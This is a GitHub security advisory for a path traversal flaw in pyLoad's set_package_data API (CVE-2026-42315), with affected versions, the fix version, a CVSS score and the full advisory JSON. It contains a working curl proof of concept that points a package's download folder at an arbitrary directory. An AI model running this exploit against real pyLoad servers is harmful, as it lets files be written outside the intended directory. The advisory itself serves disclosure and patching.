GHSA-838G-GR43-QQG9

Vulnerability from github – Published: 2026-05-05 21:18 – Updated: 2026-06-08 19:48
VLAI
Summary
PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data
Details

Summary

No sanitization of package folder name allows writing files anywhere outside the intended download directory.

Affected Component

  • src/pyload/core/api/__init__.py
  • Function: set_package_data()

Details

When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.

PoC

1) Create a package, note response package ID e.g. 5

curl -X 'POST' \
  'http://localhost:8000/api/add_package' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "set_package_data_exploit_poc",
  "links": [
    "http://example.com/file.txt"
  ],
  "dest": 1
}'

2) Call set_package_data for this package ID with an arbitrary directory 

curl -X 'POST' \
  'http://localhost:8000/api/set_package_data' \
  -H 'accept: */*' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "package_id": 5,
  "data": {
    "_folder": "/users/root/"
  }
}'

3) New download folder will be set without any checks

curl -X 'GET' \
  'http://localhost:8000/api/get_queue' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>'

Response:

[
  {
    "pid": 5,
    "name": "set_package_data_exploit_poc",
    "folder": "/users/root/",
    "site": "",
    "password": "",
    "dest": 1,
    "order": 1,
    "linksdone": 0,
    "sizedone": 0,
    "sizetotal": 0,
    "linkstotal": 1,
    "links": null,
    "fids": null
  }
]

Impact

Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev99"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:18:19Z",
    "nvd_published_at": "2026-05-11T18:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X \u0027POST\u0027 \\\n  \u0027http://localhost:8000/api/add_package\u0027 \\\n  -H \u0027accept: application/json\u0027 \\\n  -H \u0027X-API-Key: \u003cvalid api key\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}\u0027\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X \u0027POST\u0027 \\\n  \u0027http://localhost:8000/api/set_package_data\u0027 \\\n  -H \u0027accept: */*\u0027 \\\n  -H \u0027X-API-Key: \u003cvalid api key\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}\u0027\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X \u0027GET\u0027 \\\n  \u0027http://localhost:8000/api/get_queue\u0027 \\\n  -H \u0027accept: application/json\u0027 \\\n  -H \u0027X-API-Key: \u003cvalid api key\u003e\u0027\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.",
  "id": "GHSA-838g-gr43-qqg9",
  "modified": "2026-06-08T19:48:40Z",
  "published": "2026-05-05T21:18:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42315"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-129.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.